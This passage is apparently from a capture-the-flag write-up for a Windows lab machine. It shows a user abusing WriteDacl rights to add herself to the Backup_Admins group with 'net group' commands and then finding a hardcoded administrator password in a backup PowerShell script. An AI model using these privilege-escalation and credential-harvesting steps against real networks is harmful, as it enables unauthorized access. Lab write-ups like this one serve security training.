claire has WriteDacl group rights over the Backup_Admins group object I can use that to add her to the group.
claire@REEL C:\Users\claire>net group backup_admins
Group name Backup_Admins
Comment
Members
-------------------------------------------------------------------------------
ranj
The command completed successfully.
claire@REEL C:\Users\claire>net group backup_admins claire /add
The command completed successfully.
claire@REEL C:\Users\claire>net group backup_admins
Group name Backup_Admins
Comment
Members
-------------------------------------------------------------------------------
claire ranj
The command completed successfully.
Now I am able to get inside C:/users/administrator; (I had to restart the ssh connection in order to access the backup_admin privileges)
claire@REEL C:\Users\Administrator\Desktop>type root.txt
Access is denied.
Found a credential in C:\Users\Administrator\Desktop\Backup Scripts\BackupScript.ps1
$password="Cr4ckMeIfYouC4n!"